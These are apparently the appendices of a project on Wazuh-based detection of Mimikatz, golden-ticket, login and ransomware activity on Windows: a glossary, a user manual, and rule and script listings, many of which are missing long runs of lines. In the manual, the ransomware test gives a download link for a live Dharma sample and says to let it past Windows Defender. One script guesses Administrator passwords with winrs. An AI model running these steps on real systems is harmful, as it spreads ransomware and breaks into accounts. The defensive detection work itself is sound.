NIDS: Network-based Intrusion Detection System.
Noise: Abnormal or suspicious behaviour in a system, from a cybersecurity
point of view.
OpenSLL: Widely used software library for secure communications.
OSSEC: Open Source HIDS SECurity. It is an HIDS solution with detection
based on rules and decoders.
OU: Organizational Unit. They are a type of group structure for AD.
RaaS: Ransomware-as-a-Service. It is the process of offering code and help with
ransomware attacks, as if it were another software service.
RSA: Public-key cipher algorithm designed by Rivest, Shamir and Adleman.
Samba: It is a set of programs for interoperability between Linux and Windows.
SMB: Server Message Block protocol for sharing files, printers, communications,
etc in Microsoft systems. Some of its services can be accessed with Samba.
Shadow Copy: Windows technology for copying files or volumes when they
are in use. Also known as Volume Snapshot Service, Volume Shadow Copy Ser-
vice or VSS.
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SID: Security Identifier. Unique value used to differentiate security elements
or groups in Windows Systems.
SIEM: Security Information and Event Management. This includes features
like event and log collection, scalability, reporting, alerting and log management.
SSH: Secure Shell. Network protocol to use services or execute commands se-
curely over a network. It can also refer to the program running the agent.
TGT: Ticket Granting Ticket. This ticket is encrypted with the KDC key and
is used for requesting to the KDC one or more TGS.
TGS: Ticket Granting Service. This ticket is encrypted with the service key
and is used to authenticate against a service.
TLS: Transport Layer Security. Cryptography protocol designed to provide com-
munications security over a computer network with hybrid (symmetric and asym-
metric) cryptography.
Tor: Open-source software that allows users to join the anonymous Tor net-
work. It is based on encrypted communication and resource sharing.
USD: United States Dollar. The official currency in the United States, used
in this document as a money reference.
YARA: Tool that does pattern/string/signature matching, with great perfor-
mance, results and easiness to write rules.
Appendix B
User Manual
This manual will show how to execute Wazuh in the manager and agent in order
to deploy or trobleshoot simple detection.
Requirements
In order to execute the tools correctly a setup similar to this project is assumed.
Some elements may change without causing any differences in behaviour, but the
recommendations are:
• A Windows Server 2019 as the agent. It needs to install and configure the
Wazuh agent with the manager. If the user wants other Windows machines
in the network the recommendation is to configure AD and use it to set
them up easier.
• A CentOS 7 running the ELK stack and the Wazuh manager. This can
also have agent functionality for itself.
• All the computers or virtual machines in the same network, for optimal
performance.
• Windows machines have Sysmon installed and configured to log the events
of interest.
• The manager has been configured to make the agents forward the logs of
interest to him.
• All the features of interest for the client have been configured.
In this case it is assumed that the agent is running on a Windows system.
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Usage
Basic detection of events
If the format of the related events is unknown or if the events that should be gen-
erated are unknown, the user should force its execution and search the Windows
Event Log (or the logs in /var/ossec/logs/archives/ if he is sure the events are
forwarded to Wazuh). The user may need to wait several minutes in order to see
the event logged in Wazuh.
For fast debugging on how the event is processed by Wazuh the program logtest
in /var/ossec/bin/ossec-logtest can be used. Several v flags are recommended
for more verbose. To use it you only need to introduce the data as it would be
received by the Wazuh manager. It is possible to show which rules are tried and
which trigger an alert for each event. This tools does not need a restart of the
wazuh-manager service whenever changes want to be tested because it reads the
configuration directly.
But it is also worth to mention that some times it can be misleading because it
does not work in the same way as the manager. For example the logtest may
show that the log matches a certain rule but actually it has matched a previous
one silently.
For example for this input:
We get the next output:
Figure B.1: Example of output for ossec-logtest
This example shows how Wazuh processes the input text, that usually would be
in a SSH event. The decoder sshd matches the format of the input text, and
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that it is able to extract the dstuser and srcip fields. Then the event is processed
by the set of rules until it matches the conditions of the rule 5715, which should
generate an alert.
After identifying the desired detection the user can edit the rules in the file
designed for custom rules /var/ossec/etc/rules/local rules.xml to configure the
alert logic desired. Debugging the rules can be hard because Wazuh does not
show why a rule does not trip. The fastest way to find a way to match a rule
for the desired condition is to write multiple slighty different rules and see which
one is triggered.
For finding the alerts triggered the user can use a web browser to connect to
the Kibana addon hosted by the manager, providing a graphical interface that
allows to set multiple filters and that generates charts on the fly.
Figure B.2: Kibana showing the general view of the last alerts
Using commands directly on the log files is usually faster, but it may require
expert knowledge to do it right. This knowledge is basic if the user wants to be
able to add custom functionality, like more monitoring options.
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Figure B.3: Latest alert of the klist custom monitoring in the manager
Dharma in a virtual machine
To run the cmd version of Dharma in a virtual machine it is recommended to
uninstall the virtual box guest additions (or similar software for your virtual-
ization alternative). Disabling network interfaces is also recommended, but it is
not possible in this case because the ransomware needs to contact the C&C. The
ransomware can be donwloaded from:
https://www.tutorialjinni.com/cmb-dharma-ransomware-sample-download.html
It is possible that it does not encrypt anything. This can be due to antimalware
software in the system or because there is no longer an active Dharma campaign.
It is recommended to use snapshots or backups of any kind to be able to revert
the virtual machine or its contents to the previous state.
After extracting the file from the encrypted ZIP downloaded, change its file ex-
tension to exe. At this point Windows Defender should detect it as a threat and
remove it (set it in quarentine). The user needs to allow the identified threat in
Windows Defender in order to execute it from the file explorer.
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Figure B.4: Allowing Dharma with Windows Defender
Trobleshooting
If running the reverse tcp payload with Metasploit fails to provide a Meterpreter
shell is very possible that trying again ends working, because the session is not
getting created even though the exploit is working.
If the integrator scripts (at least the .py scripts) are modified their changes may
affect their execution by Wazuh until the wazuh-manager service is restarted
again.
Processing events can take several minutes even if the agent and manager are
not under high load. After starting a machine it is recommended to let several
minutes pass before starting to do actual work.
For example real-time monitoring usually takes 3-5 minutes to report that is
working in the log file. But it can be much more if there have been unregistered
changes to the monitored folders.
If you are sure that the event you want to process is being reaching the manager
but no alert is being triggered, make sure that there are no rules that may be
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catching and silecing it with the no log option or a level option too low. If there
are rules silecing the alert you must overwrite them in the custom rules using the
overwrite=”yes” option in the rule tag. It is also important to check that there
are decoders for it. Both can be checked in the ruleset in /var/ossec/ruleset/.
In case of suspicious connection with the agent it is recommended to check its
status in the Windows machine. This can be done with the GUI of the Wazuh
agent. The program allows to view and edit its log and configuration. It also
provides buttons to stop, start, restart and refresh its status.
Figure B.5: GUI of the Wazuh agent in Windows
There can be issues with the agent even after a sucessful configuration that has
been working for months. For example due to the expiration of the registered




















Listing C.1: Active response configuration in




ip=$(cut -d ’-’ -f1 <<< "$7")
current_timestamp=$(date ’+%FT%T.%N%z’)
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if [ "$alert" = ’300301’ ]; then
DLL=WinSCard.dll
elif [ "$alert" = ’300302’ ]; then
DLL=cryptdll.dll
elif [ "$alert" = ’300303’ ]; then
DLL=samlib.dll
elif [ "$alert" = ’300304’ ]; then
DLL=hid.dll




↪→ original_alert\":\"$alert\", \"source_ip\":\"$ip\", \"
↪→ imageLoaded\":\"$DLL\", \"previous_id\":\"$id\", \"
↪→ script_filename\":\"$script_filename\"}"
echo "$output" >> "$LOG"
echo "$output" >> "$LOG"
Listing C.2: Bash script in /var/ossec/active-response/bin/ to write to a log
twice per DLL alert received




<description>Detected event 7 with \Windows\System32</
↪→ description>
</rule>
































<description>Workaround for min frequency</description>
</rule>
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<if_matched_sid>300205</if_matched_sid>
<description>Maybe Mimikatz: DLLs with EventID 7</description>
</rule>
Listing C.3: Wazuh rules for detection of DLLs with Sysmon and detection of
the special duplicate entries in the custom log














Listing C.4: Remote command configuration in
/var/ossec/etc/shared/default/agent.conf for the klist script
#this script parses in a json format the kerberos info that may
↪→ identify a ticket used in a golden ticket attack
$newline=0 #if 1 adds carriage return and line jump to each line
↪→ instead of only after closing each json root
#get the value of MaxTicketAge (10 by default)
$GPOfile="C:\Users\Public\Documents\report_GPResultantSetOfPolicy.
↪→ xml"
$GPO = Get-Content $GPOfile
$index=-1













#get tickets for every session in the kerberos cache
$sessions = klist sessions
$output = ""
foreach ($line in $sessions){
if ($line -match "ˆ\[.*\]"){ #first line does not have an id
$id = $line.split(’ ’)[3]
$id=$id.replace(’0:’,’’)
$tickets = klist tickets -li $id
if ($tickets -match "Error" -Or $tickets -match "failed" -Or








foreach ($ticket in $tickets){
if (-Not ([string]::IsNullOrEmpty($ticket) -And [string]::
↪→ IsNullOrWhiteSpace($ticket))){
$ticket = $ticket -replace ’ˆ\s+’,’’
$ticketJson = ’’
If ($ticket.Contains("Current LogonId")){
$currentLogonIdJson = ’"Current_LogonId": "’




$targetedLogonIdJson = ’"Targeted_LogonId": "’







if ($newline -eq 1) { $ticketJson += "‘r‘n" }
$ticketJson += ’"MaxTicketAge": "’
$ticketJson += $MaxTicketAge
$ticketJson += ’",’
if ($newline -eq 1) { $ticketJson += "‘r‘n" }
$ticketJson += $currentLogonIdJson
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if ($newline -eq 1) { $ticketJson += "‘r‘n" }
$ticketJson += $targetedLogonIdJson
if ($newline -eq 1) { $ticketJson += "‘r‘n" }
$ticketJson += ’"Number": "’
$ticketJson += $ticket.split(’>’)[0].split(’#’)[1]
$ticketJson += ’",’
if ($newline -eq 1) { $ticketJson += "‘r‘n" }
$ticket = $ticket.split(’>’)[1]
$ticket = $ticket -replace ’ˆ\s+’,’’
$ticketJson += ’"’
$ticketJson += $ticket.split(’:’)[0].replace(’ ’,’_’)
$ticketJson += ’": "’
$ticketRest = $ticket -replace $ticket.split(’:’)[0],’’




$ticketJson += ’"Ticket_Flags": "’




$ticketJson += $ticket.split(’:’)[0].replace(’ ’,’_’)
$ticketJson += ’": "’
$ticketRest = $ticket -replace $ticket.split(’:’)[0],’’








[datetime]$startTime = $ticketRest.replace(’ (local)’,’’)
}elseif ($ticketJson.Contains("End_Time")){
$ticketJson += ’",’
[datetime]$endTime = $ticketRest.replace(’ (local)’,’’)
if ($newline -eq 1) { $ticketJson += "‘r‘n" }
$ticketJson += ’"TicketExpireHours": "’











if ($newline -eq 1) { $ticketJson += "‘r‘n" }
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$ticketJson += ’"TicketExpireHoursGap": "’
[int]$diff = $diff











if ($newline -eq 1) { $output += "‘r‘n‘r‘n" }
}
Write-Host $output
Listing C.5: Script to scan and parse to JSON the tickets in the cache
$GPOfile="C:\Users\Public\Documents\report_GPResultantSetOfPolicy.
↪→ xml"
#$ADDC is needed in case the computer running the command is not a
↪→ DC of the AD
$ADDC=(Get-ADDomainController -Discover|findstr Name|Select-Object -
↪→ last 2|Select-Object -first 1).split(’:’)[1].split(’ ’)[1]
(Get-GPResultantSetOfPolicy -Computer $ADDC -ReportType Xml -Path
↪→ $GPOfile) | out-null
Listing C.6: Way to get the MaxTicketAge from the Group Policy
Detection of suspicious logins










}elseif (-Not ([string]::IsNullOrEmpty($interfaceAlias)) -And
↪→ $line.Contains("IPv4Address")){





if ([string]::IsNullOrEmpty($interfaceAlias) -Or [string]::
↪→ IsNullOrEmpty($prevIP)){












New-NetIPAddress -InterfaceAlias $interfaceAlias -IPAddress $newIP
↪→ -PrefixLength 24 |out-null
Set-DnsClientServerAddress -InterfaceAlias $interfaceAlias -
↪→ ServerAddresses 10.0.3.2
#remove the previous ip




write-host ""; Get-NetIPConfiguration -InterfaceAlias
↪→ $interfaceAlias|out-string|findstr IPv4Address
winrs -r:WIN-25U0PFAB511.wazuh.local -u:Administrator -p:’Password
↪→ ?’ whoami
winrs -r:WIN-25U0PFAB511.wazuh.local -u:Administrator -p:’
↪→ Qwerty123’ whoami
winrs -r:WIN-25U0PFAB511.wazuh.local -u:Administrator -p:’123
↪→ Qwerty’ whoami
winrs -r:WIN-25U0PFAB511.wazuh.local -u:Administrator -p:’
↪→ Password123’ whoami
winrs -r:WIN-25U0PFAB511.wazuh.local -u:Administrator -p:’123
↪→ Password’ whoami
}














<description>Organizational Unit monitor unusual hours</
↪→ description>
</rule>














Listing C.9: Remote command configuration
in /var/ossec/etc/shared/default/agent.conf to find logins on unusual hours for
the OU users




$users=Get-ADUser -filter * -SearchBase "ou=$OU_name,dc=wazuh,dc=
↪→ local" |findstr UserPrincipalName
foreach ($line in $users){
$user=$line.split(’:’)[1].split(’@’)[0].substring(1)
$user=$user -replace ’[\W]’, ’’ #removes no letter characters














foreach ($event in $events){
$hour=Get-Date -Format HH -Date $event.TimeGenerated
if($hour -ge 8 -And $hour -le 17){
continue
}
foreach ($line in $event.Message.split("‘n")){
if ($line.Contains("Account Name:")){
$user=$line.split(’:’)[1].split(’@’)[0]
$user=$user -replace ’[\W]’, ’’
foreach($OU_user in $OU_users_array){
if($user.equals($OU_user)){
$time=Get-Date -Format G -Date $event.TimeGenerated
$outputJSON += ’{ ’
$outputJSON += ’"TargetUserName": "’
$outputJSON += $user
$outputJSON += ’", "TimeGenerated": "’
$outputJSON += $time
$outputJSON += ’", "OrganizationalUnit": "’
$outputJSON += $OU_name
$outputJSON += ’", "EventID": "’
$outputJSON += $event.InstanceId











$begin=Get-Date -Format G -Date $temp
$output+=process_events_f (Get-EventLog -LogName Security -
↪→ InstanceId 4771 -After $begin)
$output+=process_events_f (Get-EventLog -LogName Security -
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↪→ InstanceId 4768,4769 -EntryType SuccessAudit -After $begin)
Write-Host $output






<description>Windows Defender Control Folder Access monitoring
↪→ event</description>
</rule>





Listing C.11: Windows Defender’s Controlled Folder Access rules
<syscheck>
<disabled>no</disabled>
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<match>decoy1|decoy2</match>
<match>was deleted|was modified</match>

















<rule id="333015" level="3" timeframe="60" frequency="10" >
<if_matched_sid>333013</if_matched_sid>
<description>Many file modifications in a short time</
↪→ description>
</rule>
<rule id="333016" level="3" timeframe="60" frequency="10" >
<if_matched_sid>333014</if_matched_sid>
<description>Many file creations in a short time</description>
</rule>
<rule id="333019" level="3" timeframe="60" frequency="2" >
<if_matched_sid>333011</if_matched_sid>
<if_matched_sid>333012</if_matched_sid>
<description>Suspicius mass deletion of tiles in a short time</
↪→ description>
</rule>





























<rule id="333015" level="3" timeframe="60" frequency="10" >
<if_matched_sid>333013</if_matched_sid>
<description>Suspicious mass modification of files</description>
</rule>
<rule id="333016" level="3" timeframe="60" frequency="10" >
<if_matched_sid>333014</if_matched_sid>
<description>Suspicious mass creation of files</description>
</rule>
<rule id="333017" level="1" timeframe="60" frequency="5" >
<if_matched_sid>333012</if_matched_sid>
<description>Many deletions in a short time</description>
</rule>
<rule id="333019" level="3" timeframe="60" frequency="2" >
<if_matched_sid>333011</if_matched_sid>
<if_matched_sid>333017</if_matched_sid>
<description>Probably crypto ransomware attack</description>
</rule>
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<field name="win.system.eventID">ˆ4659$|ˆ4660$</field>
<field name="win.eventdata.objectName">decoy1|decoy2</field>






<description>C:\temp file deleted or intented to</description>
</rule>




<description>Probably crypto ransomware attack</description>
</rule>














<regex>’\.+.1cbu1’ was modified|’\.+.1txt’ was modified|’\.+.73
↪→ i87A’ was modified|’\.+.AngleWare’ was modified|’\.+.BarRax’
↪→ was modified|’\.+.CCCRRRPPP’ was modified|’\.+.Dexter’ was
↪→ modified|’\.+.EnCiPhErEd’ was modified|’\.+.LeChiffre’ was
↪→ modified|’\.+.MERRY’ was modified|’\.+.MRCR1’ was modified|’
↪→ \.+.PEGS1’ was modified|’\.+.PoAr2w’ was modified|’\.+.
↪→ R16m01d05’ was modified|’\.+.RARE1’ was modified|’\.+.RMCM1’
↪→ was modified|’\.+.SecureCrypted’ was modified|’\.+.
↪→ VforVendetta’ was modified|’\.+.Whereisyourfiles’ was modified
↪→ |’\.+._AiraCropEncrypted’ was modified|’\.+.a5zfn’ was
↪→ modified|’\.+.aaa’ was modified|’\.+.abc’ was modified|’\.+.
↪→ adk’ was modified|’\.+.aesir’ was modified|’\.+.alcatraz’ was
↪→ modified|’\.+.angelamerkel’ was modified|’\.+.antihacker2017’
↪→ was modified|’\.+.atlas’ was modified|’\.+.axx’ was modified|’
↪→ \.+.bin’ was modified|’\.+.bitstak’ was modified|’\.+.
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↪→ braincrypt’ was modified|’\.+.breaking_bad’ was modified|’\.+.
↪→ bript’ was modified|’\.+.btc’ was modified|’\.+.ccc’ was
↪→ modified|’\.+.cerber’ was modified|’\.+.cerber2’ was modified|
↪→ ’\.+.cerber3’ was modified|’\.+.coded’ was modified|’\.+.
↪→ comrade’ was modified|’\.+.conficker’ was modified|’\.+.
↪→ coverton’ was modified|’\.+.crinf’ was modified|’\.+.crjoker’
↪→ was modified|’\.+.crptrgr’ was modified|’\.+.cry’ was modified
↪→ |’\.+.cryeye’ was modified|’\.+.cryp1’ was modified|’\.+.crypt
↪→ ’ was modified|’\.+.crypte’ was modified|’\.+.crypted’ was
↪→ modified|’\.+.cryptolocker’ was modified|’\.+.cryptowall’ was
↪→ modified|’\.+.crypz’ was modified|’\.+.czvxce’ was modified|’
↪→ \.+.d4nk’ was modified|’\.+.dCrypt’ was modified|’\.+.dale’
↪→ was modified|’\.+.damage’ was modified|’\.+.darkness’ was
↪→ modified|’\.+.decrypt2017’ was modified|’\.+.dharma’ was
↪→ modified|’\.+.dll’ was modified|’\.+.dxxd’ was modified|’\.+.
↪→ ecc’ was modified|’\.+.edgel’ was modified|’\.+.enc’ was
↪→ modified</regex>





<regex>’\.+.enciphered’ was modified|’\.+.encr’ was modified|’
↪→ \.+.encrypt’ was modified|’\.+.encrypted’ was modified|’\.+.
↪→ encrypted’ was modified|’\.+.encrypted’ was modified|’\.+.
↪→ enigma’ was modified|’\.+.evillock’ was modified|’\.+.exotic’
↪→ was modified|’\.+.exx’ was modified|’\.+.ezz’ was modified|’
↪→ \.+.fantom’ was modified|’\.+.file0locked’ was modified|’\.+.
↪→ fucked’ was modified|’\.+.fun’ was modified|’\.+.fun’ was
↪→ modified|’\.+.gefickt’ was modified|’\.+.globe’ was modified|’
↪→ \.+.good’ was modified|’\.+.grt’ was modified|’\.+.ha3’ was
↪→ modified|’\.+.helpmeencedfiles’ was modified|’\.+.herbst’ was
↪→ modified|’\.+.hnumkhotep’ was modified|’\.+.hush’ was modified
↪→ |’\.+.ifuckedyou’ was modified|’\.+.info’ was modified|’\.+.
↪→ kernel_complete’ was modified|’\.+.kernel_pid’ was modified|’
↪→ \.+.kernel_time’ was modified|’\.+.keybtc@inbox_com’ was
↪→ modified|’\.+.kimcilware’ was modified|’\.+.kkk’ was modified|
↪→ ’\.+.kostya’ was modified|’\.+.kraken’ was modified|’\.+.
↪→ kratos’ was modified|’\.+.kyra’ was modified|’\.+.lcked’ was
↪→ modified|’\.+.legion’ was modified|’\.+.lesli’ was modified|’
↪→ \.+.lock93’ was modified|’\.+.locked’ was modified|’\.+.
↪→ locklock’ was modified|’\.+.locky’ was modified|’\.+.lol!’ was
↪→ modified|’\.+.loli’ was modified|’\.+.lovewindows’ was
↪→ modified|’\.+.madebyadam’ was modified|’\.+.magic’ was
↪→ modified|’\.+.maya’ was modified|’\.+.micro’ was modified|’
↪→ \.+.mole’ was modified|’\.+.noproblemwedecfiles’ was modified|
↪→ ’\.+.nuclear55’ was modified|’\.+.odcodc’ was modified|’\.+.
↪→ odin’ was modified|’\.+.onion’ was modified|’\.+.oops’ was
↪→ modified|’\.+.osiris’ was modified|’\.+.p5tkjw’ was modified|’
↪→ \.+.padcrypt’ was modified|’\.+.paym’ was modified|’\.+.
↪→ paymrss’ was modified|’\.+.payms’ was modified|’\.+.paymst’
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↪→ was modified</regex>





<regex>’\.+.paymts’ was modified|’\.+.payrms’ was modified|’\.+.
↪→ pays’ was modified|’\.+.pdcr’ was modified|’\.+.pec’ was
↪→ modified|’\.+.perl’ was modified|’\.+.potato’ was modified|’
↪→ \.+.powerfulldecrypt’ was modified|’\.+.pubg’ was modified|’
↪→ \.+.purge’ was modified|’\.+.pzdc’ was modified|’\.+.r5a’ was
↪→ modified|’\.+.raid10’ was modified|’\.+.razy’ was modified|’
↪→ \.+.rdm’ was modified|’\.+fs0ciety\.*’ was modified|’\.+.rekt’
↪→ was modified|’\.+.rip’ was modified|’\.+.rmd’ was modified|’
↪→ \.+.rnsmwr’ was modified|’\.+.rokku’ was modified|’\.+.rrk’
↪→ was modified|’\.+.ruby’ was modified|’\.+.sage’ was modified|’
↪→ \.+.serp’ was modified|’\.+.serpent’ was modified|’\.+.sexy’
↪→ was modified|’\.+.shit’ was modified|’\.+.spora’ was modified|
↪→ ’\.+.stn’ was modified|’\.+.surprise’ was modified|’\.+.szf’
↪→ was modified|’\.+.theworldisyours’ was modified|’\.+.thor’ was
↪→ modified|’\.+.ttt’ was modified|’\.+.unavailable’ was
↪→ modified|’\.+.vbransom’ was modified|’\.+.venusf’ was modified
↪→ |’\.+.vindows’ was modified|’\.+.vvv’ was modified|’\.+.vxlock
↪→ ’ was modified|’\.+.wallet’ was modified|’\.+.wcry’ was
↪→ modified|’\.+.wflx’ was modified|’\.+.windows10’ was modified|
↪→ ’\.+.xxx’ was modified|’\.+.xxx’ was modified|’\.+.xyz’ was
↪→ modified|’\.+.ytbl’ was modified|’\.+.zcrypt’ was modified|’
↪→ \.+.zepto’ was modified|’\.+.zorro’ was modified|’\.+.zyklon’
↪→ was modified|’\.+.zzz’ was modified|’\.+.zzzzz’ was modified</
↪→ regex>
<description>C:\temp file added: suspicius extension</
↪→ description>
</rule>












































<description>Trid event: unknown type of file</description>
</rule>











Listing C.18: Active response configuration in
/var/ossec/etc/shared/default/agent.conf for the Trid CMD
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powershell.exe .’C:\Program Files (x86)\ossec-agent\active-response\
↪→ bin\trid.ps1’








↪→ Microsoft-Windows-Sysmon/Operational"}| Get-WinEventData |
↪→ Where-Object{$_.Id -eq 2}| Where-Object{$_.
↪→ EventDataTargetFilename -like "*$DIR*"} | Where-Object{$_.










#creationtime is already checked with Sysmon
if(($(Get-Item $file).lastaccesstime -gt $temp) -or ($(Get-Item






New-EventLog -LogName Application -Source TridEventLog #creates the










Write-EventLog -LogName Application -Source TridEventLog -
↪→ EntryType Information -Message "$output" -EventId 1
}
Listing C.20: PowerShell script that writes a Trid log entry for each modified file
in the last 2 minutes in the folder











↪→ Microsoft\Windows Defender\Real-Time Protection\
↪→ DisableBehaviorMonitoring</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Real-Time Protection\
↪→ DisableOnAccessProtection</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Real-Time Protection\
↪→ DisableScanOnRealtimeEnable</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\
↪→ Controlled Folder Access\AllowedApplications\</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\
↪→ Controlled Folder Access\ProtectedFolders\</TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\
↪→ Controlled Folder Access\EnableControlledFolderAccess</
↪→ TargetObject>
<TargetObject condition="begin with">HKLM\SOFTWARE\Policies\
↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\




↪→ Microsoft\Windows Defender\Windows Defender Exploit Guard\
↪→ Controlled Folder Access\





















↪→ Exploit Guard\\Controlled Folder Access\\</field>
<description>Registry event in Windows Defender Exploit Guard\\






































<description>Registry created, changed or renamed: it should
↪→ never be 1</description>
</rule>
































Listing C.23: Configuration for 3 active response commands for registry rules in
/var/ossec/etc/ossec.conf
powershell.exe .’C:\Program Files (x86)\ossec-agent\active-response\
↪→ bin\change-registry-value_0.ps1’
Listing C.24: CMD script only for executing another PowerShell script
Set-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\Spynet\" -Name ’SpyNetReporting’ -Value "0x00000000"
Set-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\" -Name ’DisableAntiSpyware’ -Value "0x00000000"
Set-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\" -Name ’DisableBehaviorMonitoring’ -Value "0
↪→ x00000000"
Set-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\" -Name ’DisableOnAccessProtection’ -Value "0
↪→ x00000000"
Set-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\" -Name ’DisableScanOnRealtimeEnable’ -Value "0
↪→ x00000000"
Listing C.25: PowerShell script for setting registry entries to 0
powershell.exe .’C:\Program Files (x86)\ossec-agent\active-response\
↪→ bin\change-registry-value_1.ps1’
Listing C.26: CMD script only for executing another PowerShell script
Set-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\Windows Defender Exploit Guard\Controlled Folder
↪→ Access\" -Name ’EnableControlledFolderAccess’ -Value "0
↪→ x00000001"
Set-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\Windows Defender Exploit Guard\Controlled Folder





↪→ Defender\Windows Defender Exploit Guard\Controlled Folder
↪→ Access\" -Name ’
↪→ ExploitGuard_ControlledFolderAccess_ProtectedFolders’ -Value "
↪→ 0x00000001"
Listing C.27: PowerShell script for setting registry entries to 1
powershell.exe .’C:\Program Files (x86)\ossec-agent\active-response\
↪→ bin\create-registry-value_1.ps1’
Listing C.28: CMD script only for executing another PowerShell script
New-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\Windows Defender Exploit Guard\Controlled Folder
↪→ Access\" -Name ’EnableControlledFolderAccess’ -Value "0
↪→ x00000001" -PropertyType "Dword"
New-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\Windows Defender Exploit Guard\Controlled Folder
↪→ Access\" -Name ’
↪→ ExploitGuard_ControlledFolderAccess_AllowedApplications’ -
↪→ Value "0x00000001" -PropertyType "Dword"
New-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\Windows Defender Exploit Guard\Controlled Folder
↪→ Access\" -Name ’
↪→ ExploitGuard_ControlledFolderAccess_ProtectedFolders’ -Value "
↪→ 0x00000001" -PropertyType "Dword"
Listing C.29: PowerShell script for creating registry entries with value 1
powershell.exe .’C:\Program Files (x86)\ossec-agent\active-response\
↪→ bin\delete-registry.ps1’
Listing C.30: CMD script only for executing another PowerShell script
Remove-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\Spynet\" -Name ’SpyNetReporting’
Remove-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\" -Name ’DisableAntiSpyware’
Remove-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\" -Name ’DisableBehaviorMonitoring’
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Remove-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\" -Name ’DisableOnAccessProtection’
Remove-ItemProperty -path HKLM:"\SOFTWARE\Policies\Microsoft\Windows
↪→ Defender\" -Name ’DisableScanOnRealtimeEnable’




























































Listing C.36: Remote command configuration in
/var/ossec/etc/shared/default/agent.conf for the free space script
function Is-Numeric ($Value) {





$results=fsutil volume diskfree ${volume}:
$output=’{"backup_volume":"’
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$output += $volume
$output +=’", ’
foreach ($line in $results){
$label=$line.split(’:’)[0]



















$content = Get-Content $StorageFile
if((Get-Content C:\storage\free_bytes_F.txt | Measure-Object -Line










if ($value -eq 0 -or $nvalue -lt $value){
$nvalue| Out-File $StorageFile









Listing C.37: PowerShell script to manage the free space in the backup volume







<description>Free space monitor of a volume</description>
</rule>
<rule id="333101" level="3" >
<if_sid>333100</if_sid>
<field name="Previous_value">\.+</field>
<description>New event from the free space monitor of a volume</
↪→ description>
</rule>
Listing C.38: Wazuh rules for processing the output of the free space remote
command
$volume=’F’




foreach ($line in $results){
$label=$line.split(’:’)[0]















Listing C.39: PowerShell script to get the free space in the backup volume and
parse its output to JSON















Listing C.40: Configuration in /var/ossec/etc/ossec.conf for the free space
detection
#!/usr/bin/env bash




for ((i = 0 ; i < 100 ; i++)); do #in case it is too fast
line="$(awk ’/"id":"’$alert’"/ && /"id":"’$id.’.*"/{last=$0}; END{
↪→ print last}’ $LOG_READ)"
if [ -n "$line" ]; then break; fi
sleep 0.1
done
nvalue="$(grep -Eoh ’"Total_of_free_bytes":"\w+"’ <<< "$line" |awk -
↪→ F ’:’ ’{gsub("\"","",$2); print $2}’)"
ip="$(grep -Eoh ’"ip":"[0-9]+.[0-9]+.[0-9]+.[0-9]+"’ <<< "$line" |
↪→ awk -F ’:’ ’{gsub("\"","",$2); print $2}’)"
volume="$(grep -Eoh ’"backup_volume":"\w+"’ <<< "$line" |awk -F ’:’
↪→ ’{gsub("\"","",$2); print $2}’)"
timestamp="$(grep -Eoh ’"timestamp":"[A-Za-z0-9.:+-]+"’ <<< "$line"
↪→ |awk -F ’:’ ’{gsub("\"","",$2); print $2}’)"
current_timestamp=$(date ’+%FT%T.%N%z’)










if [ -s "$FILE" ]; then
value="$(cat "$FILE")"






if [[ $value -gt 0 && $(awk ’BEGIN {print (’$nvalue’ > ’$value’)}’)
↪→ -eq 1 ]]; then
echo "$nvalue" > "$FILE"
echo "{\"timestamp\":\"$timestamp\", \"current_timestamp\":\"
↪→ $current_timestamp\", \"original_alert\":\"$alert\", \"
↪→ new_value\":\"$nvalue\", \"previous_value\":\"$value\", \"
↪→ source_ip\":\"$ip\", \"backup_volume\":\"$volume\", \"
↪→ storage_file\":\"$FILE\", \"script_filename\":\"
↪→ $script_filename\"}" >> "$LOG"
elif [[ $value -eq 0 || "$nvalue" -lt "$value" ]]; then
echo "$nvalue" > "$FILE"
fi
Listing C.41: Bash script in /var/ossec/active-response/bin/ to compare the free






<description>Free space monitor of a volume</description>
</rule>
<rule id="333101" level="3" >
<if_sid>333100</if_sid>
<field name="backup_volume">\.+</field>









<description>Free space monitor of a file in the server</
↪→ description>
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</rule>




<description>New event from the free space monitor of a file in
↪→ the server</description>
</rule>
Listing C.42: Wazuh rules for processing processes for the detection of the
increase of the free space













#Disable the Internet adapter
$name=(Get-NetIPConfiguration| where-object{$_.IPv4Address.IPAddress
↪→ -like ’10.0.2.15’}).InterfaceAlias
Disable-NetAdapter -Name "$name" -Passthru -Confirm:$false




#Lock files recursively in each directory in $DIRS
$DIRS=@(’c:\temp’, ’c:\tmp’)











Get-ChildItem "$folder" -File |
Foreach-Object {















for ($i=0; $i -lt $seconds; $i+=$interval) {
if (($kill_all -eq 1) -or ($kill_all -eq $True)){
(Stop-Process -Name $executable -PassThru -Force) -or (
